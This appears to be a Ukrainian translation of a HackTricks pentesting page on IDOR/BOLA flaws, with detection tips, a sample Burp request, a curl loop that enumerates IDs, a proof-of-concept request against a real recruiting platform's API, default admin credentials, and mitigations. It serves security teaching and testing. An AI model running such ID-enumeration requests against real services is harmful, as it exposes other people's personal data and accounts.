IDOR (Insecure Direct Object Reference)

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) з'являється, коли веб-або API-інтерфейс розкриває або приймає ідентифікатор, контрольований користувачем, який використовується безпосередньо для доступу до внутрішнього об'єкта без перевірки, що викликач має право отримати доступ/змінити цей об'єкт. Успішна експлуатація зазвичай дозволяє горизонтальне або вертикальне підвищення привілеїв, наприклад, читання або зміну даних інших користувачів і, в найгіршому випадку, повне захоплення облікового запису або масове витікання даних.


1. Визначення потенційних IDOR

  1. Шукайте параметри, які посилаються на об'єкт:
  • Шлях: /api/user/1234, /files/550e8400-e29b-41d4-a716-446655440000
  • Запит: ?id=42, ?invoice=2024-00001
  • Тіло / JSON: {"user_id": 321, "order_id": 987}
  • Заголовки / Куки: X-Client-ID: 4711
  1. Віддавайте перевагу кінцевим точкам, які читають або оновлюють дані (GET, PUT, PATCH, DELETE).
  2. Зверніть увагу, коли ідентифікатори є послідовними або передбачуваними – якщо ваш ID 64185742, то 64185741 ймовірно існує.
  3. Досліджуйте приховані або альтернативні потоки (наприклад, "Члени команди Paradox" посилання на сторінках входу), які можуть розкрити додаткові API.
  4. Використовуйте автентифіковану сесію з низькими привілеями і змініть лише ID зберігаючи той же токен/куку. Відсутність помилки авторизації зазвичай є ознакою IDOR.

Швидке ручне втручання (Burp Repeater)

PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json

{"lead_id":64185741}

Автоматизована енумерація (Burp Intruder / цикл curl)

bash
for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done

2. Реальний випадок – Платформа чат-бота McHire (2025)

Під час оцінки порталу рекрутингу McHire, що працює на базі Paradox.ai, було виявлено наступний IDOR:

  • Endpoint: PUT /api/lead/cem-xhr
  • Authorization: кукі сесії користувача для будь-якого тестового облікового запису ресторану
  • Body parameter: {"lead_id": N} – 8-значний, послідовний числовий ідентифікатор

Зменшуючи lead_id, тестувальник отримав довільні дані про кандидатів повні PII (ім'я, електронна пошта, телефон, адреса, переваги зміни) плюс споживчий JWT, який дозволяв перехоплення сесії. Перерахунок діапазону 1 – 64,185,742 виявив приблизно 64 мільйони записів.

Запит для підтвердження концепції:

bash
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'

Об'єднано з дефолтними адміністративними обліковими даними (123456:123456), які надали доступ до тестового облікового запису, вразливість призвела до критичного витоку даних на рівні компанії.


3. Вплив IDOR / BOLA

  • Горизонтальна ескалація – читання/оновлення/видалення даних інших користувачів.
  • Вертикальна ескалація – користувач з низькими привілеями отримує функціональність, доступну лише адміністраторам.
  • Масовий витік даних, якщо ідентифікатори є послідовними (наприклад, ID заявників, рахунки).
  • Захоплення облікового запису шляхом викрадення токенів або скидання паролів інших користувачів.

4. Заходи та найкращі практики

  1. Забезпечити авторизацію на рівні об'єкта для кожного запиту (user_id == session.user).
  2. Віддавати перевагу непрямим, непередбачуваним ідентифікаторам (UUIDv4, ULID) замість автоінкрементних ID.
  3. Виконувати авторизацію на стороні сервера, ніколи не покладатися на приховані поля форм або елементи управління UI.
  4. Реалізувати перевірки RBAC / ABAC в центральному проміжному програмному забезпеченні.
  5. Додати обмеження швидкості та ведення журналів для виявлення перерахування ID.
  6. Тестувати безпеку кожної нової кінцевої точки (модульне, інтеграційне та DAST).

5. Інструменти

  • Розширення BurpSuite: Authorize, Auto Repeater, Turbo Intruder.
  • OWASP ZAP: Auth Matrix, Forced Browse.
  • Проекти на Github: bwapp-idor-scanner, Blindy (масове полювання на IDOR).

Посилання

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks